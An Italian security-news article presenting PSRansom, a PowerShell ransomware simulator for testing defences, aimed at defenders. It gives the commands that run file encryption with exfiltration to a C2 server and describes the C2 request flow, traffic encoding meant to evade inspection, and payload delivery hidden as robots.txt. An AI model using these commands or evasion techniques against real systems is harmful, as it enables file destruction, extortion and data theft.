Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca

PSRansom: una simulazione opensource di una infezione da ransomware

Redazione RHC : 1 Luglio 2022 07:00

Questo progetto chiamato PSransom, ci permette di simulare una infezione di un ransomware generico utilizzando solo PowerShell. Inoltre, saremo in grado di simulare l’esfiltrazione di file attraverso un C2 e persino utilizzarlo sia da Windows che da Linux.

Il numero di campagne ransomware che compaiono ogni giorno è impressionante. Su Red Hot Cyber costantemente pubblichiamo nuove violazioni. Per coloro che non hanno familiarità con il concetto, il ransomware è un tipo di programma dannoso che limita l’accesso a determinate parti o file del sistema operativo infetto e richiede un riscatto in cambio della rimozione di questa restrizione.

Normalmente, questa azione viene eseguita tramite un meccanismo di crittografia, che, per la sua robustezza, complica il processo di recupero. In questo modo, gli aggressori si assicurano che la vittima preferisca pagare il riscatto per non perdere le proprie informazioni e quindi monetizzare.

Vuoi diventare un esperto del Dark Web e della Cyber Threat Intelligence (CTI)?

Stiamo per avviare il corso intermedio in modalità "Live Class" del corso "Dark Web & Cyber Threat Intelligence". 
A differenza dei corsi in e-learning, disponibili online sulla nostra piattaforma con lezioni pre-registrate, i corsi in Live Class offrono un’esperienza formativa interattiva e coinvolgente.  
Condotti dal professor Pietro Melillo, le lezioni si svolgono online in tempo reale, permettendo ai partecipanti di interagire direttamente con il docente e approfondire i contenuti in modo personalizzato.
Questi corsi, ideali per aziende, consentono di sviluppare competenze mirate, affrontare casi pratici e personalizzare il percorso formativo in base alle esigenze specifiche del team, garantendo un apprendimento efficace e immediatamente applicabile. 
Guarda subito l'anteprima gratuita del corso su academy.redhotcyber.com
Contattaci per ulteriori informazioni tramite WhatsApp al 375 593 1011 oppure scrivi a [email protected]



Supporta RHC attraverso:
 

  1. L'acquisto del fumetto sul Cybersecurity Awareness
  2. Ascoltando i nostri Podcast
  3. Seguendo RHC su WhatsApp
  4. Seguendo RHC su Telegram
  5. Scarica gratuitamente “Byte The Silence”, il fumetto sul Cyberbullismo di Red Hot Cyber

Se ti piacciono le novità e gli articoli riportati su di Red Hot Cyber, iscriviti immediatamente alla newsletter settimanale per non perdere nessun articolo. La newsletter generalmente viene inviata ai nostri lettori ad inizio settimana, indicativamente di lunedì.
 

In nessun caso e in nessuna circostanza è consigliabile cadere in questa trappola. Dal momento che il fatto di pagare un riscatto incoraggerebbe l’attaccante a trarre nuovamente profitto con altre vittime. Pertanto, la soluzione migliore è avere più backup e un buon piano di emergenza come sempre abbiamo detto su queste pagine.

Ora, come possiamo prepararci a una situazione del genere? 

Oltre a mantenere aggiornati i nostri sistemi operativi e antivirus, è importante poter verificare se le misure implementate in un’organizzazione siano efficaci contro questo tipo di attacco.

Naturalmente, ci sono molti modi per simulare un ransomware, sia commerciali che gratuiti. Nel mio caso, utilizzeremo questa soluzione gratuita che consente di:

  • Eseguire tutto o parte del processo in memoria
  • Simulare la crittografia dei file con sufficiente robustezza
  • Eliminare i file originali dopo la crittografia
  • Inviare la chiave di ripristino al server C2
  • Esfiltrare i file crittografati al server C2
  • Compatibilità con Windows e Linux
  • Possibilità di recuperare i file originali

Come è stato realizzato

Il progetto è realizzato interamente in PowerShell, quindi occorre installarlo sul nostro sistema se non utilizziamo Windows. In questo caso utilizzeremo Kali Linux. Pertanto se stai usando un’altra distribuzione, i comandi potrebbero non funzionare.

Per prima cosa scarichiamo il progetto e installiamo PowerShell con i seguenti comandi:

sudo apt install powershell -y
git clone https://github.com/JoelGMSec/PSRansom

Una volta scaricato il progetto, avremo due script: PSransom e C2Server . Il primo sarà quello che simulerà l’ infezione ransomware, mentre il secondo si occuperà del recupero dei file e della loro chiave di ripristino.

Successivamente, vedremo cosa può offrire il ransomware e in seguito giocheremo con il server di comando e controllo (C2) . Prima di iniziare, consulteremo la guida utilizzando il parametro -h nel seguente modo:

Come possiamo vedere nell’immagine precedente, l’utilizzo dello strumento è del tutto banale. Dobbiamo solo indicare la directory che vogliamo crittografare, l’IP o il nome host del server C2 e la porta che riceverà la connessione.

Se inoltre vogliamo inviare i file crittografati, dovremo solo aggiungere il parametro-X alla fine del comando. Infine, se vogliamo decifrare, indicheremo la directory in questione e la chiave di ripristino.

Per semplificare, vedremo alcuni esempi di seguito. Innanzitutto, definiremo lo scenario come segue:

  • Il ransomware verrà eseguito su un computer Windows;
  • La cartella che andremo a crittografare si trova in C:\Backup;
  • Il server C2 verrà eseguito su un Kali Linux;
  • Tutto il traffico passerà attraverso un proxy per vederlo in dettaglio.

Ora che abbiamo chiaro l’ambiente di simulazione, mettiamolo in pratica. La prima cosa che faremo è consultare l’aiuto del C2 per vedere quali opzioni abbiamo:

Come possiamo vedere, anche l’utilizzo del server di comando e controllo è molto semplice. Dovremo solo indicare l’interfaccia che ascolterà la connessione e la porta che la riceverà. 

Nel caso specifico ascolteremo su tutte le interfacce e utilizzeremo la porta 80 con il seguente comando:

pwsh C2Server.ps1 + 80

Se tutto è andato bene, dovremmo vedere qualcosa di simile all’immagine precedente. Ricorda che per ascoltare su tutte le interfacce, avremo bisogno dei privilegi di sistema completi.

Successivamente, eseguiremo il processo di crittografia ed esfiltrazione con il seguente comando:

.\PSRansom.ps1 -e Directorio -s ServidorC2 -p Puerto -x

Per eseguire questo processo verrà generata una chiave random di 24 caratteri alfanumerici (minuscolo, maiuscolo e numeri), i dati verranno crittografati in AES256 e la chiave di ripristino verrà inviata al server C2.

Al termine del processo, i file originali verranno eliminati e verranno conservati solo quelli crittografati:

Se andiamo dall’altra parte, dove si trova il nostro server C2, avremmo dovuto ricevere qualcosa di simile a questo:

Come possiamo vedere nello screenshot precedente, riceveremo le informazioni della vittima, la chiave di ripristino, un elenco dei file crittografati e lo stesso, se abbiamo utilizzato il parametro per esfiltrare le informazioni:

Visto che tramite la console non possiamo vedere “cosa sta succedendo sotto il cofano”, utilizziamo un proxy per intercettare il traffico e poter mostrare più in dettaglio il funzionamento del tool.

Per non allungare eccessivamente l’articolo, il processo di comunicazione:

  • Viene verificato se il C2 è operativo (/status)
  • Se lo è, vengono inviate le informazioni sulla vittima (/data)
  • Inoltre, viene inviata la chiave di ripristino (/data)
  • Una volta crittografati i file, viene inviato un log (/log)
  • Se i file vengono esfiltrati, viene notificato al C2 (/files)
  • Ciascuno dei file viene inviato separatamente (/files/*)
  • Il processo di comunicazione è terminato (/done)

Successivamente, dovremmo avere una situazione tipo quella in calce:

In ciascuna delle richieste, tutto il contenuto verrà inviato crittografato o codificato in modo da non essere rilevato da alcun meccanismo di ispezione del traffico:

Inoltre, il C2 stesso è progettato per eseguire una “consegna del payload” tramite il file robots.txt:

Cioè, potremmo usare Invoke-Stealth per crittografare il nostro PSRansom, salvarlo come robots.txt nella stessa directory del C2 e quindi scaricarlo con PowerShell. 

La cosa migliore di tutto questo è che possiamo accedere a questo file solo da PowerShell, essendo totalmente invisibile a qualsiasi browser.

Prima di qualsiasi richiesta che venga fatta al nostro C2, indipendentemente dal percorso o dal metodo (purché sia ​​GET o POST), la risposta sarà sempre la pagina di default che abbiamo visto nell’immagine precedente.

Infine, dobbiamo solo vedere il caso inverso, usando un sistema Linux come vittima:

Poiché PowerShell non ha bisogno di utilizzare alcun tipo di libreria esterna, non sarà necessario intraprendere alcuna azione aggiuntiva per farlo funzionare in modo identico al sistema di Microsoft.

Concludendo, sebbene abbiamo richiesto di esfiltrare i file, questo processo non verrà eseguito (poiché non è possibile, se non c’è comunicazione). Successivamente, sia la chiave di ripristino che il file di registro verranno salvati in un file , all’interno del percorso da cui abbiamo avviato lo strumento.

In questo modo è garantito di poter recuperare i file in caso di esecuzione accidentale o se eseguiamo questo processo da una shell remota su un host che non ha alcun tipo di comunicazione.

Ovviamente, quest’ultimo caso renderebbe le cose molto più facili per il team di risposta agli incidenti, poiché la chiave non sarebbe in memoria e sarebbe molto facile recuperarla per procedere con il processo di decrittazione.Come conclusione finale, lo strumento è in fase “beta” ed è probabile che fallisca in alcuni scenari. Se trovate bug o suggerimenti, non esitate a contattare lo sviluppatore a questo link: https://darkbyte.net/psransom-simulando-un-ransomware-generico-con-powershell/

Redazione
La redazione di Red Hot Cyber è composta da un insieme di persone fisiche e fonti anonime che collaborano attivamente fornendo informazioni in anteprima e news sulla sicurezza informatica e sull'informatica in generale.

Lista degli articoli

Articoli in evidenza

Arriva Google CodeMender! Quando l’AI, trova il bug nel codice e lo ripara da sola
Di Redazione RHC - 07/10/2025

Sarebbe fantastico avere un agente AI capace di analizzare automaticamente il codice dei nostri progetti, individuare i bug di sicurezza, generare la correzione e pubblicarla subito in produzione. Epp...

L’ascesa dei Partner Digitali: l’AI diventa il rifugio per i wiresexual perché sicura, comoda e controllabile
Di Redazione RHC - 07/10/2025

La disillusione nei confronti degli incontri online spinge sempre più le donne a cercare intimità emotiva nel mondo virtuale. Sempre più donne si rivolgono all’intelligenza artificiale, ovvero ai...

RediShell: una RCE da score 10 vecchia di 13 anni è stata aggiornata in Redis
Di Redazione RHC - 07/10/2025

Una falla critica di 13 anni, nota come RediShell, presente in Redis, permette l’esecuzione di codice remoto (RCE) e offre agli aggressori la possibilità di acquisire il pieno controllo del sistema...

L’Italia nel mondo degli Zero Day c’è! Le prime CNA Italiane sono Leonardo e Almaviva!
Di Massimiliano Brolli - 06/10/2025

Se n’è parlato molto poco di questo avvenimento, che personalmente reputo strategicamente molto importante e segno di un forte cambiamento nella gestione delle vulnerabilità non documentate in Ita...

Apple nel mirino? Presunta rivendicazione di data breach da 9 GB su Darkforums
Di Inva Malaj - 05/10/2025

Autore: Inva Malaj e Raffaela Crisci 04/10/2025 – Darkforums.st: “303” Rivendica Data Breach di 9 GB su Apple.com Nelle prime ore del 4 ottobre 2025, sul forum underground Darkforums è comparsa...